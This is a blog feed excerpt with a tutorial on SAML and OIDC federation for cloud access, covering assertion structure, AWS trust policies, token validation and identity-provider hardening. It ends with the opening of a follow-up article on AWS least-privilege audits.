  │ + audience + timestamp  │  │ signature + iss + aud + sub       │
  │ → console session       │  │ → AssumeRoleWithWebIdentity       │
  └─────────────────────────┘  └───────────────────────────────────┘

  Security bound: IdP security bounds every system that trusts it
  Disable in Okta → access revoked everywhere that trusts Okta
</code></pre>
<hr />
<h2 id="introduction">Introduction</h2>
<p>Before federation existed, every system had its own user database. Your Jira account. Your AWS account. Your Salesforce account. Your internal wiki. Each one had its own password, its own MFA, its own offboarding process. When an engineer joined, someone had to create accounts in every system. When they left, you hoped whoever processed the offboarding remembered to deactivate all of them.</p>
<p>I&#8217;ve done that audit — the one where you&#8217;re trying to figure out if a former employee still has access to anything. You go system by system, cross-reference against HR records, find accounts that exist in places you&#8217;ve forgotten the company even uses. In one environment I found an ex-engineer&#8217;s account still active in a vendor portal six months after they left, because that system was set up by someone who had since also left the company, and nobody had documented it.</p>
<p>Federation solves this structurally. One identity provider. One place to authenticate. One place to revoke. Every downstream system trusts the IdP&#8217;s assertion rather than managing credentials independently. Disable someone in Okta and they lose access everywhere that trusts Okta — immediately, without a checklist.</p>
<p>This episode is how federation actually works at the protocol level, because understanding the mechanism is what lets you design it securely. A federation setup with a trust policy that accepts assertions from any OIDC issuer is worse than no federation — it&#8217;s a false sense of security.</p>
<hr />
<h2 id="the-federation-model">The Federation Model</h2>
<pre><code class="" data-line="">Identity Provider (IdP)          Service Provider (SP) / Relying Party
  (Okta, Google, AD FS, Entra ID)       (AWS, Salesforce, GitHub, your app)
         │                                          │
         │  1. User authenticates to IdP             │
         │     (password + MFA)                      │
         │                                          │
         │  2. IdP generates a signed assertion      │
         │     (SAML response or OIDC ID Token)      │
         │ ──────────────────────────────────────── &#x25b6;│
         │                                          │
         │  3. SP validates the signature            │
         │     (using IdP&#039;s public certificate       │
         │      or JWKS endpoint)                    │
         │  4. SP maps identity to local permissions │
         │  5. SP grants access                      │
</code></pre>
<p>The SP never sees the user&#8217;s password. It never has one. It trusts the IdP&#8217;s cryptographic signature — if the assertion is signed with the IdP&#8217;s private key, and the SP trusts that key, the identity is accepted.</p>
<p>This trust chain has one critical property: <strong>the security of every SP is bounded by the security of the IdP</strong>. Compromise the IdP, and every system that trusts it is compromised. This is why IdP security deserves the same attention as the most sensitive system it gates access to.</p>
<hr />
<h2 id="saml-20-the-enterprise-standard">SAML 2.0 — The Enterprise Standard</h2>
<p>SAML (Security Assertion Markup Language) is XML-based, verbose, and battle-tested. Published in 2005, it&#8217;s the protocol behind most enterprise SSO deployments. When your company says &#8220;use your corporate login for this vendor app,&#8221; SAML is usually the mechanism.</p>
<h3 id="how-a-saml-login-flows">How a SAML Login Flows</h3>
<pre><code class="" data-line="">1. User visits AWS console (the Service Provider)
2. AWS checks: no active session → redirect to IdP
   → https://company.okta.com/saml?SAMLRequest=...
3. Okta authenticates the user (password, MFA)
4. Okta generates a SAML Assertion — a signed XML document containing:
   - Who the user is (Subject, typically email)
   - Their attributes (group memberships, custom attributes)
   - When the assertion was issued and when it expires (valid 5-10 minutes typically)
   - Which SP this is for (Audience restriction)
   - Okta&#039;s digital signature (RSA-SHA256 or similar)
5. Browser POSTs the assertion to AWS&#039;s ACS (Assertion Consumer Service) URL
6. AWS validates the signature against Okta&#039;s public cert (retrieved from Okta&#039;s metadata URL)
7. AWS reads the SAML attribute for the IAM role
8. AWS calls sts:AssumeRoleWithSAML → issues temporary credentials
9. User gets a console session — no AWS credentials were ever stored anywhere
</code></pre>
<h3 id="what-a-saml-assertion-actually-looks-like">What a SAML Assertion Actually Looks Like</h3>
<pre><code class="" data-line="">&lt;saml:Assertion&gt;
  &lt;saml:Issuer&gt;https://okta.company.com&lt;/saml:Issuer&gt;

  &lt;saml:Subject&gt;
    &lt;saml:NameID&gt;alice@company.com&lt;/saml:NameID&gt;
  &lt;/saml:Subject&gt;

  &lt;saml:AttributeStatement&gt;
    &lt;!-- This attribute tells AWS which IAM role to assume --&gt;
    &lt;saml:Attribute Name=&quot;https://aws.amazon.com/SAML/Attributes/Role&quot;&gt;
      &lt;saml:AttributeValue&gt;
        arn:aws:iam::123456789012:role/EngineerRole,arn:aws:iam::123456789012:saml-provider/OktaProvider
      &lt;/saml:AttributeValue&gt;
    &lt;/saml:Attribute&gt;
  &lt;/saml:AttributeStatement&gt;

  &lt;!-- Critical: time bounds on this assertion --&gt;
  &lt;saml:Conditions NotBefore=&quot;2026-04-11T09:00:00Z&quot; NotOnOrAfter=&quot;2026-04-11T09:05:00Z&quot;&gt;
    &lt;saml:AudienceRestriction&gt;
      &lt;!-- Critical: this assertion is ONLY valid for AWS --&gt;
      &lt;saml:Audience&gt;https://signin.aws.amazon.com/saml&lt;/saml:Audience&gt;
    &lt;/saml:AudienceRestriction&gt;
  &lt;/saml:Conditions&gt;

  &lt;ds:Signature&gt;... RSA-SHA256 signature over the above ...&lt;/ds:Signature&gt;
&lt;/saml:Assertion&gt;
</code></pre>
<p>The <code class="" data-line="">Audience</code> restriction and the <code class="" data-line="">NotOnOrAfter</code> timestamp are two of the most security-critical fields. The audience ensures this assertion can&#8217;t be reused for a different SP. The timestamp ensures it can&#8217;t be replayed after expiry.</p>
<h3 id="setting-up-saml-federation-with-aws">Setting Up SAML Federation with AWS</h3>
<pre><code class="" data-line=""># Register Okta as a SAML provider in AWS IAM
aws iam create-saml-provider \
  --saml-metadata-document file://okta-metadata.xml \
  --name OktaProvider

# Create the IAM role that federated users will assume
aws iam create-role \
  --role-name EngineerRole \
  --assume-role-policy-document &#039;{
    &quot;Version&quot;: &quot;2012-10-17&quot;,
    &quot;Statement&quot;: [{
      &quot;Effect&quot;: &quot;Allow&quot;,
      &quot;Principal&quot;: {
        &quot;Federated&quot;: &quot;arn:aws:iam::123456789012:saml-provider/OktaProvider&quot;
      },
      &quot;Action&quot;: &quot;sts:AssumeRoleWithSAML&quot;,
      &quot;Condition&quot;: {
        &quot;StringEquals&quot;: {
          &quot;SAML:aud&quot;: &quot;https://signin.aws.amazon.com/saml&quot;
        }
      }
    }]
  }&#039;

# In Okta: configure the AWS IAM Identity Center app
# Attribute mapping: https://aws.amazon.com/SAML/Attributes/Role
# Value: arn:aws:iam::123456789012:role/EngineerRole,arn:aws:iam::123456789012:saml-provider/OktaProvider

# Set maximum session duration (8 hours is reasonable for human access)
aws iam update-role \
  --role-name EngineerRole \
  --max-session-duration 28800
</code></pre>
<h3 id="saml-attack-surface">SAML Attack Surface</h3>
<table>
<thead>
<tr>
<th>Attack</th>
<th>What It Does</th>
<th>Why It Works</th>
<th>Prevention</th>
</tr>
</thead>
<tbody>
<tr>
<td>XML Signature Wrapping (XSW)</td>
<td>Attacker inserts a malicious assertion, wraps it around the legitimate signed one; some SPs validate the wrong element</td>
<td>SAML&#8217;s XML structure is complex; naive signature validation checks the signed element, not the element the SP reads</td>
<td>Use a vetted SAML library — never hand-roll parsing</td>
</tr>
<tr>
<td>Assertion replay</td>
<td>Steal a valid assertion (e.g., via network intercept) and replay it before <code class="" data-line="">NotOnOrAfter</code></td>
<td>If the SP doesn&#8217;t track used assertion IDs, the same assertion can be used multiple times</td>
<td>Short expiry; SP tracks seen assertion IDs</td>
</tr>
<tr>
<td>Audience bypass</td>
<td>SP doesn&#8217;t verify the <code class="" data-line="">Audience</code> field</td>
<td>An assertion issued for SP A can be used at SP B</td>
<td>Always validate <code class="" data-line="">Audience</code> matches your SP entity ID</td>
</tr>
</tbody>
</table>
<p>XML Signature Wrapping is the most interesting attack historically — it was how security researchers demonstrated SAML implementations in AWS, Google, and others could be bypassed before vendors patched their libraries. The lesson: SAML is complex enough that rolling your own parser is asking for a vulnerability.</p>
<hr />
<h2 id="openid-connect-oidc-the-modern-protocol">OpenID Connect (OIDC) — The Modern Protocol</h2>
<p>OIDC is JSON-based, REST-native, and designed for the web and API-first world. Built on top of OAuth 2.0, it&#8217;s the protocol behind &#8220;Sign in with Google,&#8221; GitHub&#8217;s OIDC tokens for Actions, and workload identity federation across cloud providers.</p>
<h3 id="token-anatomy">Token Anatomy</h3>
<p>An OIDC ID Token is a JWT — three base64-encoded parts separated by dots:</p>
<pre><code class="" data-line="">Header.Payload.Signature

Header:
{
  &quot;alg&quot;: &quot;RS256&quot;,           ← signing algorithm
  &quot;kid&quot;: &quot;key-id-123&quot;       ← which key signed this (for JWKS rotation)
}

Payload (the claims):
{
  &quot;iss&quot;: &quot;https://accounts.google.com&quot;,         ← who issued this token
  &quot;sub&quot;: &quot;108378629573454321234&quot;,               ← stable user identifier (not email)
  &quot;aud&quot;: &quot;my-app-client-id&quot;,                   ← who this token is for
  &quot;exp&quot;: 1749600000,                           ← expires at (Unix timestamp)
  &quot;iat&quot;: 1749596400,                           ← issued at
  &quot;email&quot;: &quot;alice@company.com&quot;,
  &quot;email_verified&quot;: true,
  &quot;hd&quot;: &quot;company.com&quot;                          ← hosted domain (Google Workspace)
}

Signature: RSA-SHA256(base64(header) + &quot;.&quot; + base64(payload), idp_private_key)
</code></pre>
<p>The relying party (your application, or AWS STS) validates the signature using the IdP&#8217;s public keys — available at the JWKS endpoint (<code class="" data-line="">/.well-known/jwks.json</code>). The signature verification proves the token was issued by the expected IdP and hasn&#8217;t been tampered with since.</p>
<h3 id="the-full-oidc-token-exchange-github-actions-aws">The Full OIDC Token Exchange (GitHub Actions → AWS)</h3>
<pre><code class="" data-line=""># GitHub Actions automatically provides an OIDC token in the runner environment
# The token contains: iss=token.actions.githubusercontent.com, repo, ref, sha, run_id, etc.

# Step 1: Fetch the OIDC token from GitHub&#039;s token service
TOKEN=$(curl -H &quot;Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN&quot; \
  &quot;$ACTIONS_ID_TOKEN_REQUEST_URL&amp;audience=sts.amazonaws.com&quot; | jq -r &#039;.value&#039;)

# Step 2: Present to AWS STS for exchange
aws sts assume-role-with-web-identity \
  --role-arn arn:aws:iam::123456789012:role/GitHubActionsRole \
  --role-session-name github-deploy \
  --web-identity-token &quot;${TOKEN}&quot;

# STS performs these validations:
# 1. Fetch GitHub&#039;s JWKS: https://token.actions.githubusercontent.com/.well-known/jwks
# 2. Verify signature is valid
# 3. Verify iss = &quot;token.actions.githubusercontent.com&quot; (matches OIDC provider)
# 4. Verify aud = &quot;sts.amazonaws.com&quot;
# 5. Verify sub matches the trust policy condition
# 6. Verify exp is in the future
</code></pre>
<p>The trust policy condition on the IAM role is what prevents any GitHub repository from assuming this role:</p>
<pre><code class="" data-line="">{
  &quot;Version&quot;: &quot;2012-10-17&quot;,
  &quot;Statement&quot;: [{
    &quot;Effect&quot;: &quot;Allow&quot;,
    &quot;Principal&quot;: {
      &quot;Federated&quot;: &quot;arn:aws:iam::123456789012:oidc-provider/token.actions.githubusercontent.com&quot;
    },
    &quot;Action&quot;: &quot;sts:AssumeRoleWithWebIdentity&quot;,
    &quot;Condition&quot;: {
      &quot;StringEquals&quot;: {
        &quot;token.actions.githubusercontent.com:aud&quot;: &quot;sts.amazonaws.com&quot;,
        &quot;token.actions.githubusercontent.com:sub&quot;: &quot;repo:my-org/my-repo:ref:refs/heads/main&quot;
      }
    }
  }]
}
</code></pre>
<p>The <code class="" data-line="">sub</code> condition is the security boundary. <code class="" data-line="">repo:my-org/my-repo:ref:refs/heads/main</code> means: only runs triggered from the <code class="" data-line="">main</code> branch of <code class="" data-line="">my-org/my-repo</code> can assume this role. A pull request from a fork, a run from a different repo, or a run from a different branch — all get a different <code class="" data-line="">sub</code> claim and the assumption fails.</p>
<p>I&#8217;ve reviewed trust policies that omit the <code class="" data-line="">sub</code> condition and just check <code class="" data-line="">aud</code>. That means any GitHub Actions workflow — in any repository, owned by anyone — can assume that role. That&#8217;s not a misconfiguration to be theoretical about: public GitHub repositories exist, and they can trigger GitHub Actions.</p>
<h3 id="oidc-validation-checklist">OIDC Validation Checklist</h3>
<p>Every application that validates OIDC tokens must check all of these:</p>
<pre><code class="" data-line="">✓ Signature valid (using IdP&#039;s JWKS endpoint — not a hardcoded key)
✓ iss matches the expected IdP URL
✓ aud matches your application&#039;s client ID (not just &quot;any audience&quot;)
✓ exp is in the future
✓ nbf (not before), if present, is in the past
✓ iat is recent (within your clock skew tolerance)
✓ For workload identity: sub is pinned to the specific workload
</code></pre>
<p>Skipping <code class="" data-line="">aud</code> validation is the most common mistake. A token issued for application A with <code class="" data-line="">aud: app-a-client-id</code> should not be accepted by application B. Without audience validation, any application in your system that can obtain a token for the IdP can reuse it at any other application. Libraries like <code class="" data-line="">python-jose</code> and <code class="" data-line="">jsonwebtoken</code> validate <code class="" data-line="">aud</code> by default — but they need to be configured with the expected audience value.</p>
<hr />
<h2 id="enterprise-federation-patterns">Enterprise Federation Patterns</h2>
<h3 id="multi-account-aws-with-iam-identity-center-okta">Multi-Account AWS with IAM Identity Center + Okta</h3>
<p>The pattern I deploy in every multi-account AWS environment:</p>
<pre><code class="" data-line="">Okta (IdP)
  └── IAM Identity Center
        ├── Account: prod     → Permission Sets: ReadOnly, DevOps
        ├── Account: staging  → Permission Sets: Developer  
        ├── Account: shared   → Permission Sets: NetworkAdmin, SecurityAudit
        └── Account: sandbox  → Permission Sets: Admin (sandbox only)
</code></pre>
<pre><code class="" data-line=""># Engineers access accounts through Identity Center portal
aws configure sso
# Prompts: SSO start URL, region, account, role

aws sso login --profile prod-readonly

# List available accounts and roles (useful for tooling and scripts)
aws sso list-accounts --access-token &quot;${TOKEN}&quot;
aws sso list-account-roles --access-token &quot;${TOKEN}&quot; --account-id &quot;${ACCOUNT_ID}&quot;

# Get temporary credentials for a specific account/role
aws sso get-role-credentials \
  --account-id &quot;${ACCOUNT_ID}&quot; \
  --role-name ReadOnly \
  --access-token &quot;${TOKEN}&quot;
</code></pre>
<p>When an engineer is offboarded from Okta, they lose access to every AWS account immediately. No individual IAM user deletion across 20 accounts. No access key hunting. One action in Okta, complete revocation.</p>
<h3 id="just-in-time-jit-provisioning">Just-in-Time (JIT) Provisioning</h3>
<p>Rather than creating user accounts in every downstream system ahead of time, JIT provisioning creates accounts on first login:</p>
<ol>
<li>User authenticates to IdP</li>
<li>SAML/OIDC assertion includes group memberships and attributes</li>
<li>SP receives assertion, checks if a user account exists for this <code class="" data-line="">sub</code></li>
<li>If not: create the account with attributes from the assertion</li>
<li>Grant access based on group claims</li>
<li>On subsequent logins: update the account&#8217;s attributes if claims changed</li>
</ol>
<p>The security property: when a user is disabled in the IdP, their account in downstream systems becomes inaccessible even if the account object still exists. There&#8217;s nothing to log in with. JIT accounts don&#8217;t survive IdP deletion — they&#8217;re inactive shells that produce no risk.</p>
<hr />
<h2 id="the-idp-is-the-trust-anchor-protect-it-accordingly">The IdP Is the Trust Anchor — Protect It Accordingly</h2>
<p>The entire security of a federated system is bounded by the security of the IdP. If an attacker can log into Okta as an admin, they can issue valid SAML assertions for any user, for any role, to any SP that trusts Okta. Every downstream system is compromised simultaneously.</p>
<p>This is not theoretical. In the 2023 Caesars and MGM Resorts attacks, initial access was achieved through social engineering against identity provider support — not through technical exploitation of cloud infrastructure. Once identity infrastructure is compromised, everything downstream follows.</p>
<p>What this means practically:</p>
<ul>
<li>MFA for all IdP admin accounts — hardware FIDO2 keys, not TOTP. TOTP codes can be phished in real-time. Hardware keys cannot.</li>
<li>PIM / JIT access for IdP configuration changes — no standing admin access</li>
<li>Separate monitoring and alerting for IdP admin activity</li>
<li>Audit who can modify SAML/OIDC configurations and attribute mappings in the IdP — these are the levers for privilege escalation</li>
<li>Narrow audience restrictions — configure which SPs can receive assertions; don&#8217;t create a wildcard IdP configuration that serves all SPs</li>
</ul>
<h3 id="conditional-access-adding-context-to-federation">Conditional Access — Adding Context to Federation</h3>
<p>Modern IdPs support Conditional Access policies that restrict when assertions are issued:</p>
<pre><code class="" data-line="">// Entra ID Conditional Access: require MFA + compliant device for AWS access
{
  &quot;conditions&quot;: {
    &quot;applications&quot;: {
      &quot;includeApplications&quot;: [&quot;AWS-Application-ID-in-Entra&quot;]
    },
    &quot;users&quot;: {
      &quot;includeGroups&quot;: [&quot;all-employees&quot;]
    },
    &quot;locations&quot;: {
      &quot;excludeLocations&quot;: [&quot;NamedLocation-CorporateNetwork&quot;]
    }
  },
  &quot;grantControls&quot;: {
    &quot;operator&quot;: &quot;AND&quot;,
    &quot;builtInControls&quot;: [&quot;mfa&quot;, &quot;compliantDevice&quot;]
  }
}
</code></pre>
<p>This policy: when an employee accesses AWS from outside the corporate network, they must use MFA on a device that MDM has verified as compliant. From inside the network, the policy still applies but the named location exclusion can relax certain requirements.</p>
<p>Conditional Access is how you move beyond &#8220;authenticated to IdP&#8221; as the only gate. Device health, network location, risk score — these become inputs to the access decision.</p>
<hr />
<h2 id="framework-alignment">Framework Alignment</h2>
<table>
<thead>
<tr>
<th>Framework</th>
<th>Reference</th>
<th>What It Covers Here</th>
</tr>
</thead>
<tbody>
<tr>
<td>CISSP</td>
<td>Domain 5 — Identity and Access Management</td>
<td>Federation is the mechanism for extending identity trust across organizational boundaries</td>
</tr>
<tr>
<td>CISSP</td>
<td>Domain 3 — Security Architecture</td>
<td>Trust relationships must be explicitly designed; overly broad federation trust is an architectural failure</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.19 Information security in supplier relationships</td>
<td>Federation with third-party IdPs and SPs establishes a cross-organizational trust boundary that must be governed</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>8.5 Secure authentication</td>
<td>SAML and OIDC are the secure authentication protocols for federated access — token validation requirements</td>
</tr>
<tr>
<td>ISO 27001:2022</td>
<td>5.17 Authentication information</td>
<td>Credential lifecycle in federated systems — no passwords distributed to SPs; IdP manages authentication</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.1</td>
<td>Federated identity is the access control mechanism for human access to cloud environments in CC6.1</td>
</tr>
<tr>
<td>SOC 2</td>
<td>CC6.6</td>
<td>Logical access from outside system boundaries — federation with external IdPs and partner organizations</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li>Federation means downstream systems trust the IdP&#8217;s signed assertion — they never see credentials and don&#8217;t need to manage them independently</li>
<li>SAML is XML-based, browser-oriented, widely supported for enterprise SSO; OIDC is JWT-based, API-friendly, the protocol for modern workload identity and consumer SSO</li>
<li>In OIDC, the <code class="" data-line="">sub</code> condition in trust policies is what prevents any workload from assuming any role — omitting it is a critical misconfiguration</li>
<li>Validate all JWT claims: signature, <code class="" data-line="">iss</code>, <code class="" data-line="">aud</code>, <code class="" data-line="">exp</code>, <code class="" data-line="">sub</code> — libraries do this, but they need correct configuration</li>
<li>The IdP is the trust anchor — its security posture bounds the security of every system that trusts it. Treat IdP admin access with the same controls as your most sensitive systems.</li>
<li>JIT provisioning and Conditional Access extend federation from &#8220;who are you&#8221; to &#8220;are you in an appropriate context right now&#8221;</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP11 brings this into Kubernetes — RBAC, service account tokens, and how the Kubernetes authorization layer interacts with cloud IAM. Two separate systems, both requiring security. A gap in either becomes a gap in both.</p>
<p><em>Next: <a href="/kubernetes-rbac-cloud-iam/">Kubernetes RBAC and AWS IAM</a></em></p>
<p>Get EP11 in your inbox when it publishes → <a href="https://linuxcent.com/subscribe">linuxcent.com/subscribe</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-identity-federation-oidc-saml%2F&amp;linkname=SAML%20vs%20OIDC%3A%20Which%20Federation%20Protocol%20Belongs%20in%20Your%20Cloud%3F" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-identity-federation-oidc-saml%2F&amp;linkname=SAML%20vs%20OIDC%3A%20Which%20Federation%20Protocol%20Belongs%20in%20Your%20Cloud%3F" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-identity-federation-oidc-saml%2F&amp;linkname=SAML%20vs%20OIDC%3A%20Which%20Federation%20Protocol%20Belongs%20in%20Your%20Cloud%3F" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-identity-federation-oidc-saml%2F&amp;linkname=SAML%20vs%20OIDC%3A%20Which%20Federation%20Protocol%20Belongs%20in%20Your%20Cloud%3F" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-identity-federation-oidc-saml%2F&amp;linkname=SAML%20vs%20OIDC%3A%20Which%20Federation%20Protocol%20Belongs%20in%20Your%20Cloud%3F" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-identity-federation-oidc-saml%2F&amp;linkname=SAML%20vs%20OIDC%3A%20Which%20Federation%20Protocol%20Belongs%20in%20Your%20Cloud%3F" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-identity-federation-oidc-saml%2F&amp;linkname=SAML%20vs%20OIDC%3A%20Which%20Federation%20Protocol%20Belongs%20in%20Your%20Cloud%3F" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fcloud-identity-federation-oidc-saml%2F&#038;title=SAML%20vs%20OIDC%3A%20Which%20Federation%20Protocol%20Belongs%20in%20Your%20Cloud%3F" data-a2a-url="https://linuxcent.com/cloud-identity-federation-oidc-saml/" data-a2a-title="SAML vs OIDC: Which Federation Protocol Belongs in Your Cloud?"></a></p><p>The post <a href="https://linuxcent.com/cloud-identity-federation-oidc-saml/">SAML vs OIDC: Which Federation Protocol Belongs in Your Cloud?</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/cloud-identity-federation-oidc-saml/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1510</post-id>	</item>
		<item>
		<title>AWS Least Privilege Audit: From Wildcard Permissions to Scoped Policies</title>
		<link>https://linuxcent.com/iam-least-privilege-audit/</link>
					<comments>https://linuxcent.com/iam-least-privilege-audit/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Sat, 18 Apr 2026 11:30:49 +0000</pubDate>
				<category><![CDATA[Cloud IAM]]></category>
		<category><![CDATA[AWS Access Analyzer]]></category>
		<category><![CDATA[Cloud Compliance]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[GCP IAM Recommender]]></category>
		<category><![CDATA[IAM Audit]]></category>
		<category><![CDATA[IAM Hardening]]></category>
		<category><![CDATA[Least Privilege]]></category>
		<guid isPermaLink="false">https://linuxcent.com/iam-least-privilege-audit/</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span>Practical IAM least privilege: AWS Access Analyzer generated policies, GCP IAM Recommender, Azure Access Reviews, and a hardening workflow you can run today.</p>
<p>The post <a href="https://linuxcent.com/iam-least-privilege-audit/">AWS Least Privilege Audit: From Wildcard Permissions to Scoped Policies</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 10</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<hr />
<p><a href="/what-is-cloud-iam/">What Is Cloud IAM</a> → <a href="/authentication-vs-authorization-iam/">Authentication vs Authorization</a> → <a href="/iam-roles-policies-permissions-explained/">IAM Roles vs Policies</a> → <a href="/aws-iam-deep-dive/">AWS IAM Deep Dive</a> → <a href="/gcp-iam-deep-dive/">GCP Resource Hierarchy IAM</a> → <a href="/azure-rbac-entra-id-guide/">Azure RBAC Scopes</a> → <a href="/workload-identity-oidc-service-accounts/">OIDC Workload Identity</a> → <a href="/cloud-iam-privilege-escalation/">AWS IAM Privilege Escalation</a> → <strong>AWS Least Privilege Audit</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li>The average IAM entity uses less than 5% of its granted permissions — the 95% excess is attack surface, not waste</li>
<li>AWS Access Analyzer generates a least-privilege policy from 90 days of CloudTrail data — use it on every Lambda role, ECS task role, and EC2 instance profile</li>
<li>GCP IAM Recommender surfaces specific right-sizing suggestions based on 90-day activity and tracks them until you act on them</li>
<li>Azure Access Reviews with <code class="" data-line="">defaultDecision: Deny</code> actually remove stale access; reviews that default to preserve do nothing meaningful</li>
<li>Build <code class="" data-line="">aws accessanalyzer validate-policy</code> into CI/CD — catch wildcards and dangerous permissions before they merge</li>
<li>Least privilege is a cycle: inventory → classify → right-size → add guardrails → monitor → repeat. Not a one-time project.</li>
</ul>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">  THE LEAST PRIVILEGE AUDIT CYCLE

  ┌─────────────────────────────────────────────────────────────────┐
  │  1. INVENTORY  What identities exist, what policies attached?  │
  │  aws iam get-account-authorization-details                      │
  └────────────────────────────┬────────────────────────────────────┘
                               ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  2. CLASSIFY  Group by purpose: human / CI-CD / app / data     │
  │  Expected permission profile per class — deviations are findings│
  └────────────────────────────┬────────────────────────────────────┘
                               ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  3. FIND UNUSED  Granted vs Used gap (average: 95% excess)     │
  │  AWS: Access Analyzer generated policy + last-accessed data     │
  │  GCP: IAM Recommender  │  Azure: Defender + Access Reviews     │
  └────────────────────────────┬────────────────────────────────────┘
                               ▼
  ┌─────────────────────────────────────────────────────────────────┐
  │  4. RIGHT-SIZE  Replace wildcards with scoped permissions       │
  │  Remove unused services · pin resource ARNs · add conditions   │
  └────────────────────────────┬────────────────────────────────────┘
                               ▼
